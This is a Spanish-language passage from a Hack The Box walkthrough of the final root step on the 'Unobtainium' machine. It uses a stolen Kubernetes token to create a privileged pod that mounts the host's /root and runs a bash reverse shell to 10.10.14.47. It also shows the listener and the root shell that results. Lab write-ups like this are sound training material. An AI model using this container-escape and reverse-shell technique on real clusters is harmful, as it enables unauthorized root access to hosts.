./kubectl auth --token $(cat token) can-i create pod
yes
Efectivamente podemos.
En esta página encontramos como escapar del contendor con este privilegio: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes
Vamos a crear un pod, para ello primero creamos el siguiente yaml
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# cat mount_root.yaml
apiVersion: v1
kind: Pod
metadata:
name: pwned2
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: pwned
image: localhost:5000/node_server
securityContext:
privileged: true
volumeMounts:
- mountPath: /root/
name: getflag
command: [ "/bin/bash" ]
args: [ "-c", "/bin/bash -i >& /dev/tcp/10.10.14.47/4434 0>&1;" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: getflag
hostPath:
path: /root/
Esto lo que va a hacer es que cuando creemos el pod con este yaml se ejecute desde la máquina host el comando que especificamos en command:
Como image ponemos localhost:5000/node_server, ya que al ser hackthebox la máquina no tiene acceso a internet y no podemos poner un ubuntu. localhost:5000 es la imagen que se usa para los demás pods, esto lo vimos cuando hicimos un describe del pod
Image: localhost:5000/node_server
Nos ponemos en escucha
nc -nlvp 4434
Creamos el pod
./kubectl --token $(cat token) create -f mount_root.yaml
Recibimos la shell!
nc -nlvp 4434
listening on [any] 4434 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 45130
bash: cannot set terminal process group (171718): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app#
Ya estamos en la máquina host como root
Máquina completada